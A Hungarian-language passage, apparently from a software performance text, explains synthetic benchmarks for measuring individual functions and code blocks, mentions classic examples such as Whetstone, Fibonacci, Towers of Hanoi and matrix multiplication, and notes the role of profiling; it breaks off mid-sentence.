Ahhoz, hogy a korábban említett és más hasonló kérdésekre választ találjunk, saját szintetikus mérőprogramokat kell készítenünk, amelyek lehetőséget adnak kis kódrészletek, illetve egyes függvények vizsgálatára, erőforrás-használatuk felmérésére (és az összehasonlítás révén csökkentésére). Ha e méréseket beépítjük egységtesztjeinkbe, nyomon követhetjük a könyvtárak teljesítményének változását az idők során. A szintetikus mérés annyiban tér el az alkalmazások teljesítményvizsgálatától, hogy itt nem törekszünk a valós használati körülmények utánzására, egyszerűen egyes kódblokkok teljesítményére vagyunk kíváncsiak. A szintetikus mérőprogramok jelentős múltra tekinthetnek vissza a számítógéptudományban. Az 1950-es években a programozók ezekkel ítélték meg, milyen fizikai rendszerekkel érhetnek el nagyobb teljesítményt. A Whetstone - egyike a leghíresebbeknek - a lebegőpontos számítások hatékonyságának vizsgálatára született. Emellett ismert módszer a Fibonacci-sorozat elemeinek kiszámítása, a Hanoi tornyai játék használata az önhivatkozó hívások sebességének vizsgálatára, vagy a mátrixszorzás a lineáris algebrai algoritmusok hatékonyságának mérésére. A szintetikus mérőmódszerek eredményei gyakran nem igazítanak el az alkalmazások általános teljesítményének kérdéseiben. A helyzet az, hogy valójában itt nem történik semmi elviekben új dolog - egyszerűen csak az alkalmazás gyengébb részeit próbáljuk optimalizálni. A mérőmódszerek mellett meg kell jelennie a profilkészítésnek is, ami lehetővé teszi a program olyan részeinek azonosítását, amelyeken valóban érdemes javítani. A jó szintetikus mérőprogram összeállításánál az alábbi kérdéseket kell saját magunk számára megvál